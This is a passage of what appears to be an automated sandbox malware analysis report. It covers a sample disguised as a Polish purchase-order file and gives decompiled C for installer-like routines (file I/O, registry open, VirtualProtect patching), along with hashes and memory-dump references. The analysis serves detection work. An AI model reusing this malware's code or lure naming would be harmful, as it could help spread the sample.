                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FilePointerwsprintf
                                                                                              • String ID:
                                                                                              • API String ID: 327478801-0
                                                                                              • Opcode ID: 709a1efb691e22b24d5139b65a0299c5cd3135bd5f72422e81660ad42db7e028
                                                                                              • Instruction ID: 52cb416d5db8590b47b50ad60af093b1f6dbc599d2fc32e6c75259d831e6d5c7
                                                                                              • Opcode Fuzzy Hash: 709a1efb691e22b24d5139b65a0299c5cd3135bd5f72422e81660ad42db7e028
                                                                                              • Instruction Fuzzy Hash: 01E04F76A04104BAE701FBA56E4DDBF73AADB50319B60843BF601F00C1C77D89459A3E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402283 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00402283(int __eax, CHAR* __ebx) {
				CHAR* _t11;
				void* _t13;
				CHAR* _t14;
				void* _t18;
				int _t22;

				_t11 = __ebx;
				_t5 = __eax;
				_t14 = 0;
				if(__eax != __ebx) {
					__eax = E00402A3A(__ebx);
				}
				if(_t13 != _t11) {
					_t14 = E00402A3A(0x11);
				}
				if( *((intOrPtr*)(_t18 - 0x18)) != _t11) {
					_t11 = E00402A3A(0x22);
				}
				_t5 = WritePrivateProfileStringA(0, _t14, _t11, E00402A3A(0xffffffcd)); // executed
				_t22 = _t5;
				if(_t22 == 0) {
					 *((intOrPtr*)(_t18 - 4)) = 1;
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t18 - 4));
				return 0;
			}








                                                                                              0x00402283
                                                                                              0x00402283
                                                                                              0x00402285
                                                                                              0x00402289
                                                                                              0x0040228c
                                                                                              0x00402294
                                                                                              0x00402298
                                                                                              0x004022a1
                                                                                              0x004022a1
                                                                                              0x004022a6
                                                                                              0x004022af
                                                                                              0x004022af
                                                                                              0x004022bc
                                                                                              0x004015a6
                                                                                              0x004015a8
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 004022BC
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: PrivateProfileStringWrite
                                                                                              • String ID:
                                                                                              • API String ID: 390214022-0
                                                                                              • Opcode ID: 4656573f168c310efd594f08e96abc660716981113b3fc3e41d9438b56e455a3
                                                                                              • Instruction ID: ed5e863b5af70a22674a87f6432e4eb84017b1e79b4e81bbc09640d5f5368664
                                                                                              • Opcode Fuzzy Hash: 4656573f168c310efd594f08e96abc660716981113b3fc3e41d9438b56e455a3
                                                                                              • Instruction Fuzzy Hash: 8AE04F31B001746FDB217AF14E8EE7F11989B84348B64417EF601B62C3DDBC4D434AA9
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401717 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00401717() {
				long _t5;
				CHAR* _t8;
				CHAR* _t12;
				void* _t14;
				long _t17;

				_t5 = SearchPathA(_t8, E00402A3A(0xffffffff), _t8, 0x400, _t12, _t14 + 8); // executed
				_t17 = _t5;
				if(_t17 == 0) {
					 *((intOrPtr*)(_t14 - 4)) = 1;
					 *_t12 = _t8;
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t14 - 4));
				return 0;
			}








                                                                                              0x0040172b
                                                                                              0x00401731
                                                                                              0x00401733
                                                                                              0x0040267a
                                                                                              0x00402681
                                                                                              0x00402681
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: PathSearch
                                                                                              • String ID:
                                                                                              • API String ID: 2203818243-0
                                                                                              • Opcode ID: 985a7ae01e69da493872186c6c10ed37eba87bebab26c0abac89a8346f6e59b4
                                                                                              • Instruction ID: 4c956aff6f0d258c6848a8c99906dcba9d38e98bcd0b2081640ab90df76b8672
                                                                                              • Opcode Fuzzy Hash: 985a7ae01e69da493872186c6c10ed37eba87bebab26c0abac89a8346f6e59b4
                                                                                              • Instruction Fuzzy Hash: E5E0D8B2204100ABE700DB549D48FAA3798DB10368B30853BF201A50C1D2B89A459629
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 79%
                                                                                              			E00402B44(void* __eflags, void* _a4) {
				char* _t8;
				intOrPtr _t9;
				signed int _t11;

				_t8 = E00402A3A(0x22);
				_t9 =  *0x40a7e8; // 0x3c7fd5c
				_t3 = _t9 + 4; // 0xa58
				_t11 = RegOpenKeyExA(E00402B2F( *_t3), _t8, 0,  *0x4237b0 | _a4,  &_a4); // executed
				asm("sbb eax, eax");
				return  !( ~_t11) & _a4;
			}






                                                                                              0x00402b58
                                                                                              0x00402b5e
                                                                                              0x00402b63
                                                                                              0x00402b6c
                                                                                              0x00402b74
                                                                                              0x00402b7c

                                                                                              APIs
                                                                                              • RegOpenKeyExA.KERNELBASE(00000000,00000A58,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Open
                                                                                              • String ID:
                                                                                              • API String ID: 71445658-0
                                                                                              • Opcode ID: 11541d565f05363a0d465782138c1ad9d83dbb2602eb40d854f4a90bf0086a6c
                                                                                              • Instruction ID: 6913ff832cf321f63cdd7bb00c8cc70b6829a5dd8220bacc95ff598af340a114
                                                                                              • Opcode Fuzzy Hash: 11541d565f05363a0d465782138c1ad9d83dbb2602eb40d854f4a90bf0086a6c
                                                                                              • Instruction Fuzzy Hash: 7FE04FB6240108AFDB00DFA4DD46F9577FCE718701F008021B608D7091C674E5508B69
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405A13 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405A13(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}





                                                                                              0x00405a17
                                                                                              0x00405a27
                                                                                              0x00405a2f
                                                                                              0x00000000
                                                                                              0x00405a36
                                                                                              0x00000000
                                                                                              0x00405a38

                                                                                              APIs
                                                                                              • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,00000020,?,0040305C,00000000,0040A8C0,00000020,0040A8C0,00000020,000000FF,00000004,00000000), ref: 00405A27
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileWrite
                                                                                              • String ID:
                                                                                              • API String ID: 3934441357-0
                                                                                              • Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
                                                                                              • Instruction ID: edb1125888c6416cb1e0b95ca9609c2ac4c4c792cbd4e8f88826aa2405e91300
                                                                                              • Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
                                                                                              • Instruction Fuzzy Hash: D7E0EC3261425EEFDF109E659C40AEB7B6DEB053A4F048532FD25E2150E271E8219FB5
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004059E4 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004059E4(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}





                                                                                              0x004059e8
                                                                                              0x004059f8
                                                                                              0x00405a00
                                                                                              0x00000000
                                                                                              0x00405a07
                                                                                              0x00000000
                                                                                              0x00405a09

                                                                                              APIs
                                                                                              • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040308E,00000000,00000000,00402EEB,000000FF,00000004,00000000,00000000,00000000), ref: 004059F8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileRead
                                                                                              • String ID:
                                                                                              • API String ID: 2738559852-0
                                                                                              • Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
                                                                                              • Instruction ID: 6c2e581bc83b2d89c4a498056592e8f52b2bea012b9e1656670f40d352b29975
                                                                                              • Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
                                                                                              • Instruction Fuzzy Hash: 4DE0EC3272429AABDF109E559C44EEF7BACEB05360F048932FD15E3190D235ED219FA9
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x10004038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x1000404c, 4, 0x40, 0x1000403c); // executed
					 *0x1000404c = 0xc2;
					 *0x1000403c = 0;
					 *0x10004044 = 0;
					 *0x10004058 = 0;
					 *0x10004048 = 0;
					 *0x10004040 = 0;
					 *0x10004050 = 0;
					 *0x1000404e = 0;
				}
				return 1;
			}



                                                                                              0x10002714
                                                                                              0x10002719
                                                                                              0x10002729
                                                                                              0x10002731
                                                                                              0x10002738
                                                                                              0x1000273d
                                                                                              0x10002742
                                                                                              0x10002747
                                                                                              0x1000274c
                                                                                              0x10002751
                                                                                              0x10002756
                                                                                              0x10002756
                                                                                              0x1000275e

                                                                                              APIs
                                                                                              • VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: ProtectVirtual
                                                                                              • String ID:
                                                                                              • API String ID: 544645111-0
                                                                                              • Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                                                              • Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
                                                                                              • Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                                                              • Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00401595() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesA(E00402A3A(0xfffffff0),  *(_t11 - 0x24)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}






                                                                                              0x004015a0
                                                                                              0x004015a6
                                                                                              0x004015a8
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: AttributesFile
                                                                                              • String ID:
                                                                                              • API String ID: 3188754299-0
                                                                                              • Opcode ID: 2f4aa05d9b43ba945a2a5a5a670270cec761036e62b58b4324ee924eab4e4851
                                                                                              • Instruction ID: e7eaa26ee73965d29c722757b3dcf4c0106c30ff4276e434a6a3861fc4943bf0
                                                                                              • Opcode Fuzzy Hash: 2f4aa05d9b43ba945a2a5a5a670270cec761036e62b58b4324ee924eab4e4851
                                                                                              • Instruction Fuzzy Hash: 65D01273B14100ABDB10EBA49A08A9D73A5AB60329B308637D201F21D1D6B9CA55AA29
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403F2A Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00403F2A(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x422ed8; // 0x1041c
				if(_t2 != 0) {
					_t3 = SendMessageA(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}





                                                                                              0x00403f2a
                                                                                              0x00403f31
                                                                                              0x00403f3c
                                                                                              0x00000000
                                                                                              0x00403f3c
                                                                                              0x00403f42

                                                                                              APIs
                                                                                              • SendMessageA.USER32(0001041C,00000000,00000000,00000000), ref: 00403F3C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend
                                                                                              • String ID:
                                                                                              • API String ID: 3850602802-0
                                                                                              • Opcode ID: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
                                                                                              • Instruction ID: b8addb9e81407d18270a6acc8ad8b47d243914a4c892372c87671a3bfdf31127
                                                                                              • Opcode Fuzzy Hash: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
                                                                                              • Instruction Fuzzy Hash: B6C04C71B482017AEA21CB509D49F0677686750B01F5584757210E50D0C6B4E451D62D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403F13 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00403F13(int _a4) {
				long _t2;

				_t2 = SendMessageA( *0x423708, 0x28, _a4, "true"); // executed
				return _t2;
			}




                                                                                              0x00403f21
                                                                                              0x00403f27

                                                                                              APIs
                                                                                              • SendMessageA.USER32(00000028,?,?,00403D44), ref: 00403F21
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend
                                                                                              • String ID:
                                                                                              • API String ID: 3850602802-0
                                                                                              • Opcode ID: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
                                                                                              • Instruction ID: 7b5ccc39adf6f72de5191684d4495c6b43ffe58f78915606d69c4a7e6f44d702
                                                                                              • Opcode Fuzzy Hash: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
                                                                                              • Instruction Fuzzy Hash: F3B092B5684200BAEE224B40DD09F457EA2E7A4702F008024B300240B0C6B200A1DB19
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403091 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00403091(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409018, _a4, 0, 0); // executed
				return _t2;
			}




                                                                                              0x0040309f
                                                                                              0x004030a5

                                                                                              APIs
                                                                                              • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,?), ref: 0040309F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FilePointer
                                                                                              • String ID:
                                                                                              • API String ID: 973152223-0
                                                                                              • Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
                                                                                              • Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
                                                                                              • Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
